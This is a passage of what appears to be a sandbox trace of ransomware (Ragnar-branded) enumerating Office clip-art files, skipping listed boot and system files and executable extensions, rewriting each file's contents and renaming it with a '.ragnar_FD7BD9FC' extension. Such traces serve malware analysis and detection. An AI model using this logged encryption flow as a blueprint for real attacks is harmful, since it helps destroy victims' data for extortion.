returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" [0080.698] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ragnar_FD7BD9FC" [0080.698] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01603_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01603_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.699] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31ccd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc31ccd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xda6, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01634_.WMF", cAlternateFileName="")) returned 1 [0080.699] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.699] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01634_.WMF" | out: lpString1="BS01634_.WMF") returned="BS01634_.WMF" [0080.699] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned=".WMF" [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="autorun.inf") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="boot.ini") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="bootfont.bin") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="bootsect.bak") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="bootmgr") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="bootmgr.efi") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="desktop.ini") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="iconcache.db") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="ntldr") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="ntuser.dat") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="ntuser.ini") returned -1 [0080.699] lstrcmpiW (lpString1="BS01634_.WMF", lpString2="thumbs.db") returned -1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.699] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf")) returned 0x20 [0080.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=3494) returned 1 [0080.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xd9d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.700] GetProcessHeap () returned 0x580000 [0080.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.700] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.701] VirtualAlloc (lpAddress=0x0, dwSize=0xda6, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.701] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.702] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xda6, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xda6, lpOverlapped=0x0) returned 1 [0080.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xda6, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.702] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xda6, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xda6, lpOverlapped=0x0) returned 1 [0080.702] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xda6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.702] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0xda6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.702] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.702] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.702] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.703] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.703] GetProcessHeap () returned 0x580000 [0080.703] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.703] CloseHandle (hObject=0xf4) returned 1 [0080.703] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" [0080.703] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ragnar_FD7BD9FC" [0080.703] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01634_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01634_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.703] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63bebd00, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x63bebd00, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x3a94, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01635_.WMF", cAlternateFileName="")) returned 1 [0080.703] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.703] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01635_.WMF" | out: lpString1="BS01635_.WMF") returned="BS01635_.WMF" [0080.703] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned=".WMF" [0080.703] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.703] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="autorun.inf") returned 1 [0080.703] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="boot.ini") returned 1 [0080.703] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="bootfont.bin") returned 1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="bootsect.bak") returned 1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="bootmgr") returned 1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="bootmgr.efi") returned 1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="desktop.ini") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="iconcache.db") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="ntldr") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="ntuser.dat") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="ntuser.ini") returned -1 [0080.704] lstrcmpiW (lpString1="BS01635_.WMF", lpString2="thumbs.db") returned -1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.704] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf")) returned 0x20 [0080.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.704] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14996) returned 1 [0080.704] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a8b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.705] GetProcessHeap () returned 0x580000 [0080.705] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.705] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.706] VirtualAlloc (lpAddress=0x0, dwSize=0x3a94, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.706] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3a94, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3a94, lpOverlapped=0x0) returned 1 [0080.707] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.707] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a94, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.707] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3a94, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3a94, lpOverlapped=0x0) returned 1 [0080.708] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a94, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.708] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3a94, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.708] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.708] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.708] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.708] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.708] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.708] GetProcessHeap () returned 0x580000 [0080.708] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.708] CloseHandle (hObject=0xf4) returned 1 [0080.708] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" [0080.708] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ragnar_FD7BD9FC" [0080.708] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01635_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01635_.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0080.709] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe440e600, ftCreationTime.dwHighDateTime=0x1bd4bee, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe440e600, ftLastWriteTime.dwHighDateTime=0x1bd4bee, nFileSizeHigh=0x0, nFileSizeLow=0x752, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01636_.WMF", cAlternateFileName="")) returned 1 [0080.709] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0080.709] lstrcpyW (in: lpString1=0x1eb62e, lpString2="BS01636_.WMF" | out: lpString1="BS01636_.WMF") returned="BS01636_.WMF" [0080.709] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned=".WMF" [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="autorun.inf") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="boot.ini") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="bootfont.bin") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="bootsect.bak") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="bootmgr") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="bootmgr.efi") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="bootmgfw.efi") returned 1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="desktop.ini") returned -1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="iconcache.db") returned -1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="ntldr") returned -1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="ntuser.dat") returned -1 [0080.709] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="ntuser.dat.log") returned -1 [0080.710] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="ntuser.ini") returned -1 [0080.710] lstrcmpiW (lpString1="BS01636_.WMF", lpString2="thumbs.db") returned -1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0080.710] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0080.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf")) returned 0x20 [0080.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0080.710] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=1874) returned 1 [0080.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x749, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.710] GetProcessHeap () returned 0x580000 [0080.710] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0080.710] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0080.712] VirtualAlloc (lpAddress=0x0, dwSize=0x752, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0080.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0080.712] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x752, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x752, lpOverlapped=0x0) returned 1 [0080.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0080.712] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x752, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.712] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x752, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x752, lpOverlapped=0x0) returned 1 [0080.713] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x752, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.713] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0080.713] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x752, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0080.713] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0080.713] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.713] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0080.713] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0080.713] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0080.713] GetProcessHeap () returned 0x580000 [0080.713] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0080.713] CloseHandle (hObject=0xf4) returned 1 [0080.713] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" [0080.713] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ragnar_FD7BD9FC" [0080.713] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01636_.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01636_.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program 